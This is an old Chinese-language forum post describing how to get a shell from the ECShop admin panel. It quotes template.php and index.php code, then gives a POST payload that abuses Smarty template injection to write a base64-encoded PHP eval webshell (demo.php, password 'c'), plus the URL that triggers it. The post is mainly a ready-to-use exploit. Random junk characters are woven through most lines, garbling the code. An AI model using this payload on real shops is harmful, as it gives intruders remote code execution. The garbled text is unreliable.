找回密码
 立即注册
查看: 2933|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
( h0 D. N7 O( f/ x/ V7 _
1 A+ b9 Y& ?" ?) S& L0 ^1 A" @( b5 ]而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
4 b( e! ^- Y" s# A  d) ?- F, e但是ecshop似乎不支持{php}{/php}这个标签来执行php代码4 R. w1 R* ~3 [1 J, S& A
admin/template.php+ p: C+ w" `! z1 _( A) B4 f5 l
0 b# x: C# F; @
1 if ($_REQUEST['act'] == 'update_library')
4 a* m, Q6 P) p) s  T1 g
/ N* }2 ~+ U; o4 q" F+ i+ u7 \% e7 T2   
9 i) m0 x: W; y) I
+ j: J+ Y5 b3 A; r( P$ u3 {
6 S" z  ]3 o1 e  y
% m8 s5 }6 D% i& _% H( u6 I4     check_authz_json('library_manage');
/ e" B; b5 u% o6 r# u1 c7 e6 @' O5 P5 X
5   1 d$ M/ `( W5 V0 X

4 n4 b* Q- Z+ [3 H$ }7 {7 b0 n6     $html = stripslashes(json_str_iconv($_POST['html']));
! y2 C& J3 C) i: f0 d, c5 X
$ B) J9 E: K1 r/ B. p+ T7   : O0 q. @4 }, l7 o/ f+ D) ?" ]
1 ~, q( l- z( u0 k( q# s- @7 ^- k
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 2 O# l% U" n2 x5 O+ X0 [
0 N4 W" Q& U7 a9 F7 ?  }3 }' A
9   ( T2 o% X. Z+ y0 z; D1 T) f: v
! T% @2 g1 e" A
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
4 N( L. i8 f- O
  a! A5 l8 T4 `5 b( k2 {' b11   
, u% H! M, Y. B. w1 q
& W. t  q* m9 l* C7 l12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); + d' D4 T# {0 u9 C% l- s* g( D
* S' s( m1 q; [9 R* f
13   & e. p: ^$ S- H& p- ?

4 [2 I# u8 T! Z& r14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
0 K: R2 m& L  X
2 R/ [* b) Y% I15     {
1 w0 B- o- e6 }; @+ l
/ ?) t. R. k/ p* t4 I( E16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ( J- c% H  t/ o1 x4 r/ b
" H1 ?/ K5 w( f' J# c2 R- Z, m
17         make_json_result('', $_LANG['update_lib_success']);
2 [5 \7 C9 G% F) C* \7 K. {* C4 |1 _9 e! r, P) |1 u
18     } * U8 I, d# w- a' ~

2 L$ |3 f. [9 A  x* ~/ Z19     else
! p. W5 W) T: Y7 [  \9 U' u
4 h: f, t& D. h- W20     {
  U  F4 K7 e1 p$ L1 V  f: V; m
+ n# D6 c( t, k$ V21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
  W! a1 s1 S1 o' y$ F
8 s1 X6 K) _8 y$ Z8 L% A6 S! v5 a22     }
) K& v7 F$ i# ]5 E% y  w' m6 [. O. V* D
23 }
  @0 F8 v3 ~: `! I2 ~, y0 {
1 [  Z5 A1 Q2 ^* d' Y. @' d那么找个比较方便调用了模板的文件6 D' A7 |, o5 H- J/ r
index.php! W3 I9 t) y8 b! M: N7 m3 N

8 [( i$ u  h" z1 if ($act == 'cat_rec')
' t# V  W) m2 o' X
. w4 ]) L2 s) T2   1 Q: n: [2 \8 G3 w0 L) h; `
& c4 |4 e4 l# [6 J: Z& J  ^) D
3 { + t1 _7 J$ V' [; |8 }

* p# ^4 ?7 g3 e; R5 H) L4   . s6 ?: O9 K( C% y* y6 y0 s  C
$ z" K6 }5 L% h* A! W; z  e1 M+ k
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
+ M; w8 v+ J5 p1 Y) X$ t0 E5 K- S" S' Z) ]! w, A$ c$ J' g
6   
" |) S4 x0 m# ~) q/ J2 r$ \# K  B. t# T7 X1 z
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ! k0 c# C* D9 S8 Q8 J" N; x

, i8 j+ ?) q* Y$ }' j8   ! u) K! {  t8 y1 X' p/ l- N0 A. }

& ?& o! G& S3 m1 A) ]+ C6 q1 \& O9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
, g, f8 s! P7 Y
0 k  p3 G! V) v( P, \$ P' y3 q' A10   
- b3 x, }/ @- i, y. o8 l+ E  J( N' g+ A& L# E$ q6 _8 q9 o2 S
11     include_once('includes/cls_json.php');
' r$ |: i! F/ x4 D0 A) l8 p( J- O0 ~) e
12   3 _& P' n/ V5 o7 b
  j. f  }1 _& P* L
13     $json = new JSON;
- ?9 w& l  M5 i+ q5 g/ T; k$ x0 m# ~4 x, u7 F/ |9 a+ E$ _# Q( O
14   6 H* X7 y8 N1 b. r6 m, J- i
, l  D( X3 M. V7 I/ K% g3 b' B
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); " ?% u0 R" c' x8 s: @' `
% H) v, @' {4 u
16   
; b' u; K. ~# ~* Z( x" @% i) I$ E4 p: j; k) `& _) q+ T4 _
17     $children = get_children($cat_id); * n/ `9 W1 q) E. G+ R

1 x0 k$ {1 y* Z0 Q7 T5 t) ^8 L18   
7 S: \- k/ v0 R$ t# \
1 d* k1 d5 t" X* ]% a5 z19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
1 I9 P0 j8 i, l% e7 }# `/ O$ O9 _- f8 E+ y- h" g/ Z
20   
& ^2 F; k+ l9 V) C' U- ~# {# x( Z! ?8 b  m6 u; P
21     $smarty->assign('cat_rec_sign', 1);
( x. o2 }; L5 \2 p0 }! k, O- \. F( Z6 n: o& v8 R# S4 i. F  s) Z
22   
$ n& |- I; [$ a; G" p5 A0 W# M% P1 Z8 j  G3 j0 S
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 1 h1 O' E% y* I' |. W
7 {: n& Q, Q3 l! b9 X: ?8 m
24   
; F# {2 @7 I4 O- q4 G6 g: }1 Y) b, d* @
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 8 J1 ^  w: x! p+ Z5 A" p& z

! a8 B7 Y7 h  B. c2 C$ k26   
9 N/ C7 N% @. Z0 j( b5 u- B6 [( A& }, `3 w  `
27         echo $rec_array[$rec_type]; + A, n( W- a1 y# f
, n/ u" q4 Q/ a+ e
28   8 ^" @" c) X' Z; |/ l( s8 \% ?* _2 H
1 Z+ j6 {. N( F4 O$ j
29     die($json->encode($result)); 1 C0 s, z0 d4 n5 H7 J0 b. [9 g
0 [% U2 E: ~) n5 W# I( {& _- I( s
30   
$ A: Y, W. X5 e5 N8 {' e: P; g& P8 r( r. F
31 } 0 ^3 P: A1 b& j5 x3 U3 b+ s

7 C; V0 g; j$ \3 v0 T- \9 d  h( n那么就有利用方法了0 j9 {* T- H9 w+ S" v/ R( X2 r. O
post包到http://localhost/ec/admin/template.php?act=update_library' U' ^  I' K& N" G4 V
Post内容:0 U2 ~" c* d0 r! \2 x$ h

- x8 i1 d( Q  [: z& j7 A1 N, ~/ }0 \& @7 b* {/ i9 f: L
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ; ?2 }. E, M9 h9 u- r' j
6 H8 B! [) I, ~) u" X
然后访问http://localhost/ec/index.php?act=cat_rec4 o5 N6 n2 Y8 ^3 n" @* o8 ?

8 W) U2 P- ^3 ^, F) y4 Mshel地址:http://localhost/ec/demo.php; B% x" J! I( v6 f: J/ \
密码c
  @+ F5 X  i9 b+ v# h5 _
7 h% c$ D% x: f. P" _9 Z6 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表